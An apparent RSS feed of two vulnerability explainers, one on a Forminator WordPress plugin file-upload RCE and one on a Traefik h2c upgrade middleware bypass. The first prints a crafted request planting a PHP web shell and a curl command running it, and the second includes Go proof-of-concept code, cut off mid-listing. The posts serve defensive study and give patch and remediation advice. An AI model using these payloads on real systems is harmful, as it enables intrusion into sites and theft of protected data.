<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: GUIDANCE WHITE</title>
    <description>The latest articles on DEV Community by GUIDANCE WHITE (@guidance_white).</description>
    <link>https://dev.to/guidance_white</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4012932%2F1351cb58-618f-4322-9211-adf9506ecbad.png</url>
      <title>DEV Community: GUIDANCE WHITE</title>
      <link>https://dev.to/guidance_white</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/guidance_white"/>
    <language>en</language>
    <item>
      <title>CVE-2026-15748 Explained: How One Pipe Character Broke an "Exact Match" Blocklist</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Sat, 17 Oct 2026 01:56:27 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-15748-explained-how-one-pipe-character-broke-an-exact-match-blocklist-4jfl</link>
      <guid>https://dev.to/guidance_white/cve-2026-15748-explained-how-one-pipe-character-broke-an-exact-match-blocklist-4jfl</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3dxb3hmgtly5aqicmlhf.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F3dxb3hmgtly5aqicmlhf.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-15748&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Forminator Forms – Contact Form, Payment Form &amp;amp; Custom Form Builder (WordPress plugin)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;1.56.1 and earlier&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;1.56.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 3.1&lt;/td&gt;
&lt;td&gt;9.8 (Critical) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-434 (Unrestricted Upload of File with Dangerous Type)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;daroo, via the Wordfence Bug Bounty Program&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Install base&lt;/td&gt;
&lt;td&gt;Installed on more than 600,000 WordPress sites&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Precondition&lt;/td&gt;
&lt;td&gt;The targeted form must contain &lt;strong&gt;both a File Upload field and a Select field&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Forminator Forms is a form builder plugin for WordPress that handles contact forms, payment forms, and custom forms. Any form accepting file attachments needs logic that stops dangerous files from being uploaded, and Forminator has exactly that — a dangerous-extension blocklist inside &lt;code&gt;handle_file_upload()&lt;/code&gt;. This CVE, though, isn't a single flaw. It's a case where &lt;strong&gt;two separate weak points happened to line up&lt;/strong&gt; and together produced RCE.&lt;/p&gt;

&lt;p&gt;The first is that the setting determining which file types an upload field accepts gets trusted &lt;strong&gt;from the request itself, rather than from the form definition saved on the server.&lt;/strong&gt; The second is that the blocklist check meant to filter out dangerous extensions compares MIME type strings using &lt;strong&gt;exact key matching, with no normalization.&lt;/strong&gt; Combine the two, and an attacker can inject a forged configuration through a completely different field (Select) to redefine what the upload field accepts, then slip a &lt;code&gt;.php&lt;/code&gt; file past the blocklist check with nothing more than a single pipe (&lt;code&gt;|&lt;/code&gt;) character.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — who decides an upload field's "allowed types"
&lt;/h2&gt;

&lt;p&gt;Forminator form submissions go through an &lt;code&gt;admin-ajax.php&lt;/code&gt; action that's callable without authentication. In the correct flow, which extensions/MIME types an upload field accepts should be &lt;strong&gt;a value the admin configured when building the form, stored on the server (in the database)&lt;/strong&gt;, and the uploaded file should be checked against that stored value at submission time.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// reconstructed from the public advisory — conceptual submission flow&lt;/span&gt;
&lt;span class="k"&gt;public&lt;/span&gt; &lt;span class="k"&gt;function&lt;/span&gt; &lt;span class="n"&gt;handle_file_upload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$field&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$file&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;$request_data&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nv"&gt;$allowed_types&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_field_settings&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$field_id&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;   &lt;span class="c1"&gt;// this is supposed to be the SAVED setting&lt;/span&gt;
    &lt;span class="mf"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faeni54ylil52b51gk7a1.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Faeni54ylil52b51gk7a1.png" alt=" " width="800" height="1440"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 1 — the public submission handler trusts field config straight from the request
&lt;/h3&gt;

&lt;p&gt;According to Wordfence's public advisory, that's exactly where the problem sits. The public submission handler builds the upload field's configuration from &lt;strong&gt;a value included in the request&lt;/strong&gt;, rather than from what's stored on the server — and that value can be injected through a field that looks completely unrelated, like a Select field.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// reconstructed from the public advisory — config merge step before handle_file_upload()&lt;/span&gt;
&lt;span class="nv"&gt;$field_settings&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;$this&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;get_field_settings_from_request&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$_POST&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// embed a structure that looks like an "upload field config" inside the select-1 value,&lt;/span&gt;
&lt;span class="c1"&gt;// and the server accepts it as-is, instead of the admin's actual setting&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This step alone is already serious. Even if an admin configured an upload field to "only allow jpg, png," an attacker sending a crafted value through the Select field can &lt;strong&gt;redefine, at request time, which extensions that form actually accepts.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 2 — the last line of defense left: the dangerous-extension blocklist
&lt;/h3&gt;

&lt;p&gt;Even if the allowed types can be redefined arbitrarily, &lt;code&gt;handle_file_upload()&lt;/code&gt; still has one more check: a separate blocklist filtering out dangerous, server-executable extensions and MIME types like &lt;code&gt;.php&lt;/code&gt; or &lt;code&gt;.phtml&lt;/code&gt;. This check is where the second flaw lives.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="c1"&gt;// reconstructed from the public advisory&lt;/span&gt;
&lt;span class="nv"&gt;$dangerous_mime_types&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
    &lt;span class="s1"&gt;'application/x-php'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="s1"&gt;'application/x-httpd-php'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="kc"&gt;true&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="c1"&gt;// ...&lt;/span&gt;
&lt;span class="p"&gt;];&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;isset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;$dangerous_mime_types&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;$mime_key&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;WP_Error&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'dangerous_file_type'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mf"&gt;...&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This code only flags something as dangerous when &lt;code&gt;$mime_key&lt;/code&gt; is &lt;strong&gt;literally identical&lt;/strong&gt; to one of the blocklist's keys. In Wordfence's own words, this logic is bypassed by "pipe-alternative MIME type keys."&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Normal request's mime_key:    "application/x-php"       → $dangerous_mime_types[...] exists → blocked
Crafted request's mime_key:   "application/x-php|"      → $dangerous_mime_types[...] doesn't exist → isset() = false → allowed
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Appending a single &lt;code&gt;|&lt;/code&gt; to the MIME type string is enough to make &lt;code&gt;isset()&lt;/code&gt; conclude "no such key exists." The blocklist's actual intent — stopping files with dangerous MIME types — goes unenforced, because an implementation that only checks for exact string equality becomes a bypass in its own right.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — combine both flaws: a PHP file with attacker-chosen name and content lands on disk
&lt;/h3&gt;

&lt;p&gt;Putting the two flaws together, an attacker can:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Embed a forged "upload field config" inside the Select field value, overriding the server's trusted allowed-type list entirely.&lt;/li&gt;
&lt;li&gt;Even if a blocklist check remains, slip past it by appending &lt;code&gt;|&lt;/code&gt; to the MIME type key.&lt;/li&gt;
&lt;li&gt;Fully control both the filename and the content.
&lt;/li&gt;
&lt;/ol&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight http"&gt;&lt;code&gt;&lt;span class="err"&gt;POST /wp-admin/admin-ajax.php
action=forminator_submit_form_custom-forms-5
file-upload-1[name]=shell.php
file-upload-1[content]=&amp;lt;?php system($_GET['cmd']); ?&amp;gt;
select-1=&amp;lt;encoded value carrying the forged upload-field config&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If this request is processed normally, a PHP file named &lt;code&gt;shell.php&lt;/code&gt;, with exactly the content the attacker chose, gets created in the upload directory.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — the default directory has &lt;code&gt;.htaccess&lt;/code&gt; protection; Custom Upload Storage doesn't
&lt;/h3&gt;

&lt;p&gt;That's not the whole story, either. By default, Forminator's upload directory is protected by a &lt;code&gt;.htaccess&lt;/code&gt; file that blocks PHP execution — so even if a &lt;code&gt;.php&lt;/code&gt; file gets uploaded, the web server often just returns it as plain text rather than executing it. But when an admin configures a separate &lt;strong&gt;"Custom File Upload Storage root,"&lt;/strong&gt; that protection disappears.&lt;/p&gt;

&lt;p&gt;Here's how Wordfence describes it: that &lt;code&gt;.htaccess&lt;/code&gt; file is created "when first needed" — specifically, during the processing of a frontend (unauthenticated) submission request. But the WordPress helper function responsible for writing &lt;code&gt;.htaccess&lt;/code&gt; isn't loaded on that frontend request path at all. As a result, files accumulate in the custom upload path with no PHP-execution safeguard ever having been created.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="s2"&gt;"http://target/wp-content/uploads/forminator-custom/shell.php?cmd=id"&lt;/span&gt;
&lt;span class="c"&gt;# → uid=33(www-data) gid=33(www-data) groups=33(www-data)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Simply requesting the uploaded file by URL is enough for the server to execute it as PHP. No authentication, no special privileges, no trick on a second request — nothing.&lt;/p&gt;

&lt;p&gt;  &lt;iframe src="https://www.youtube.com/embed/SLN-JiMRpkk" width="710" height="399"&gt;
  &lt;/iframe&gt;
&lt;/p&gt;




&lt;h2&gt;
  
  
  The patch — let the server own the config, and normalize before comparing
&lt;/h2&gt;

&lt;p&gt;Forminator 1.56.2 fixed this structurally. An upload field's allowed file types are no longer built from values carried in the request at all — only the form configuration stored on the server is trusted. The dangerous-extension/MIME-type blocklist comparison was also changed from a plain key match to a comparison against normalized input, so appending a delimiter like &lt;code&gt;|&lt;/code&gt; no longer bypasses it.&lt;/p&gt;

&lt;p&gt;Two lessons come out of this. First, &lt;strong&gt;the assumption that "this value must already be a server-trusted setting" can be broken from almost any position in a request.&lt;/strong&gt; If a configuration value can be injected through a field that looks entirely unrelated to the thing it configures — here, a Select field redefining an upload field's accepted types — the validation built around that setting means nothing. Second, a blocklist or allowlist comparison that checks "is this string exactly equal" without normalizing the input first will always have room for an attacker to construct a variant that means the same thing semantically while differing just enough in the raw string to slip through.&lt;/p&gt;




&lt;h2&gt;
  
  
  Remediation
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;Update Forminator Forms to 1.56.2 or later immediately.&lt;/li&gt;
&lt;li&gt;Check whether any of your forms combine a File Upload field with a Select field, and if an immediate update isn't possible, consider temporarily disabling the file upload field on those forms.&lt;/li&gt;
&lt;li&gt;If you're using a "Custom File Upload Storage root," verify directly — independent of the plugin's own settings — that web-server-level protection against PHP execution (an Nginx &lt;code&gt;location&lt;/code&gt; rule, an Apache &lt;code&gt;.htaccess&lt;/code&gt; directive) actually applies to that directory.&lt;/li&gt;
&lt;li&gt;If exposure is possible, check both the default and custom upload directories for unfamiliar &lt;code&gt;.php&lt;/code&gt;/&lt;code&gt;.phtml&lt;/code&gt; files, and review access logs for &lt;code&gt;forminator_submit_form_*&lt;/code&gt; requests to &lt;code&gt;admin-ajax.php&lt;/code&gt; carrying unusually large &lt;code&gt;select&lt;/code&gt; parameter values.&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>wordpress</category>
      <category>cybersecurity</category>
      <category>security</category>
      <category>python</category>
    </item>
    <item>
      <title>CVE-2026-88008 Explained: One "101 Switching Protocols" Erases Every Middleware Traefik Has</title>
      <dc:creator>GUIDANCE WHITE</dc:creator>
      <pubDate>Fri, 16 Oct 2026 02:08:01 +0000</pubDate>
      <link>https://dev.to/guidance_white/cve-2026-88008-explained-one-101-switching-protocols-erases-every-middleware-traefik-has-3h10</link>
      <guid>https://dev.to/guidance_white/cve-2026-88008-explained-one-101-switching-protocols-erases-every-middleware-traefik-has-3h10</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4g0gwhwk712tf4zoockl.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F4g0gwhwk712tf4zoockl.png" alt=" " width="800" height="450"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Overview
&lt;/h2&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Item&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE ID&lt;/td&gt;
&lt;td&gt;CVE-2026-88008&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected product&lt;/td&gt;
&lt;td&gt;Traefik (open-source reverse proxy and load balancer)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;2.11.26 through 2.11.56, 3.4.2 through 3.7.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;2.11.57, 3.7.13&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS&lt;/td&gt;
&lt;td&gt;7.0 (High, CVSS v4.0) — some advisories also cite 9.1 under CVSS 3.1&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;CWE-444 (Inconsistent Interpretation of HTTP Requests / HTTP Smuggling), CWE-863 (Incorrect Authorization)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Authentication required&lt;/td&gt;
&lt;td&gt;None&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Reported by&lt;/td&gt;
&lt;td&gt;ihopenre-eng, via Traefik's GitHub Security Advisory (GHSA-w4v4-9rw7-5326), disclosed 2026-09-07&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Precondition&lt;/td&gt;
&lt;td&gt;An attacker-reachable "unprotected router" and a "protected router" must share the same backend, and that backend must respond with 101 to an &lt;code&gt;Upgrade: h2c&lt;/code&gt; request&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Traefik's model is simple: a router decides which backend a request goes to, and the middleware attached to that router — BasicAuth, ForwardAuth, IPAllowList, RateLimit, and the like — handles authentication and authorization. For this model to actually be secure, one assumption has to hold without exception: &lt;strong&gt;every request has to pass through the router and its middleware, no detours.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CVE-2026-88008 is exactly where that assumption breaks. Since Go 1.24, Traefik supports unencrypted HTTP/2 with prior knowledge (h2c), and that created a path where a client-supplied &lt;code&gt;Connection: Upgrade&lt;/code&gt; and &lt;code&gt;Upgrade: h2c&lt;/code&gt; header gets forwarded to the backend with no validation at all. If the backend accepts that upgrade request and responds with &lt;code&gt;101 Switching Protocols&lt;/code&gt;, Traefik stops interpreting the connection as HTTP requests entirely and switches it into &lt;strong&gt;a raw tunnel that just copies bytes between the client and the backend.&lt;/strong&gt; The problem is that routing and middleware selection only happen for &lt;em&gt;the first HTTP/1 request&lt;/em&gt;. Once the tunnel opens, every HTTP/2 request that flows through it afterward completely skips Traefik's router and middleware chain.&lt;/p&gt;

&lt;p&gt;The upshot: an attacker only needs to open an h2c tunnel through a completely unauthenticated public path (&lt;code&gt;/public&lt;/code&gt;) to reach a &lt;code&gt;BasicAuth&lt;/code&gt;-protected path (&lt;code&gt;/admin&lt;/code&gt;) on the same backend — with zero credentials.&lt;/p&gt;




&lt;h2&gt;
  
  
  Where the flaw lives — four points the Upgrade header passes through
&lt;/h2&gt;

&lt;p&gt;The GitHub security advisory identifies four places in the code involved in this flow, based on the default proxy implementation, &lt;code&gt;pkg/proxy/httputil&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌───────────────┐   GET /public              ┌──────────┐
│               │   Connection: Upgrade       │          │
│    Attacker   │──Upgrade: h2c──────────────▶│ Traefik  │
│               │                              │          │
└───────────────┘                              └────┬─────┘
                                                      │ r-public (no auth)
                                                      ▼
                                                 ┌──────────┐
                                                 │ Backend  │
                                                 └────┬─────┘
                                                      │ 101 Switching Protocols
                                                      ▼
                                              [ raw byte tunnel ]
                                                      │
                                                      │ HTTP/2 GET /admin
                                                      ▼
                                                 ┌──────────┐
                                                 │ Backend  │──▶ /admin (BasicAuth never applied)
                                                 └──────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feh39unfbouf2oa0zex3e.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2Feh39unfbouf2oa0zex3e.png" alt=" " width="800" height="1404"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Step-by-step source analysis
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1 — there's no allowlist on the &lt;code&gt;Upgrade&lt;/code&gt; header
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;removeConnectionHeaders()&lt;/code&gt; in &lt;code&gt;pkg/middlewares/forwardedheaders/forwarded_header.go&lt;/code&gt; (around lines 198–234) cleans up the hop-by-hop headers listed in a &lt;code&gt;Connection&lt;/code&gt; header. But when &lt;code&gt;Connection: Upgrade&lt;/code&gt; is present, the &lt;code&gt;Upgrade&lt;/code&gt; header itself is treated as &lt;strong&gt;something to preserve, not something to strip.&lt;/strong&gt; The problem: nothing here checks whether that &lt;code&gt;Upgrade&lt;/code&gt; value is &lt;code&gt;websocket&lt;/code&gt;, &lt;code&gt;h2c&lt;/code&gt;, or any arbitrary token an attacker made up.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// pkg/middlewares/forwardedheaders/forwarded_header.go (removeConnectionHeaders, ~198-234)&lt;/span&gt;
&lt;span class="c"&gt;// when Connection: Upgrade is present, the Upgrade header is preserved and passed on unchanged&lt;/span&gt;
&lt;span class="c"&gt;// — there's no check for whether the token is "websocket"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Step 2 — WebSocket handling is "special treatment," not an allowlist
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;isWebSocketUpgrade()&lt;/code&gt; in &lt;code&gt;pkg/proxy/httputil/proxy.go&lt;/code&gt; (around line 170) applies &lt;code&gt;cleanWebSocketHeaders()&lt;/code&gt; specifically to WebSocket upgrade requests. At first glance this looks like logic that "allows WebSocket and blocks everything else," but in practice it only &lt;strong&gt;adds extra handling&lt;/strong&gt; for WebSocket — there's no code anywhere that rejects other upgrade tokens, &lt;code&gt;h2c&lt;/code&gt; included. If &lt;code&gt;isWebSocketUpgrade()&lt;/code&gt; returns &lt;code&gt;false&lt;/code&gt;, the request simply continues on as an ordinary upgrade request.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 3 — &lt;code&gt;smart_roundtripper&lt;/code&gt; forwards the upgrade request to the backend over HTTP/1
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;RoundTrip()&lt;/code&gt; in &lt;code&gt;pkg/server/service/smart_roundtripper.go&lt;/code&gt; (around line 56) sends a request containing &lt;code&gt;Connection: Upgrade&lt;/code&gt; to the backend over HTTP/1. Up to this point, all that's happened is "the request got forwarded" — the actual security boundary collapses in the next step.&lt;/p&gt;

&lt;h3&gt;
  
  
  Step 4 — a &lt;code&gt;101 Switching Protocols&lt;/code&gt; response erases the routing/middleware layer entirely (the root cause)
&lt;/h3&gt;

&lt;p&gt;Traefik's default proxy uses the standard library's &lt;code&gt;net/http/httputil.ReverseProxy&lt;/code&gt;. When the backend responds with &lt;code&gt;101 Switching Protocols&lt;/code&gt;, &lt;code&gt;ReverseProxy&lt;/code&gt; switches that connection into &lt;strong&gt;a tunnel mode that just copies bytes between client and backend.&lt;/strong&gt; On its own, this is standard behavior meant to support proxying WebSocket — nothing wrong with it in isolation.&lt;/p&gt;

&lt;p&gt;The actual problem is that Traefik's router and middleware selection happen &lt;strong&gt;only for that one initial HTTP/1 request.&lt;/strong&gt; Once the 101 response opens the tunnel, Traefik no longer treats that connection as "a flow of HTTP requests it needs to interpret." So when a new HTTP/2 stream (i.e., a brand-new HTTP request) arrives over that tunnel, it is &lt;strong&gt;never routed from scratch, and no middleware ever touches it.&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;&lt;span class="c"&gt;// Core of the PoC attacker code (published as GHSA-w4v4-9rw7-5326)&lt;/span&gt;
&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;_&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;net&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Dial&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"tcp"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;front&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Write&lt;/span&gt;&lt;span class="p"&gt;([]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="s"&gt;"GET /public HTTP/1.1&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"Host: x&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"Connection: Upgrade, HTTP2-Settings&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"Upgrade: h2c&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"HTTP2-Settings: AAMAAABkAAQAoAAAAAIAAAAA&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt;
        &lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\r\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
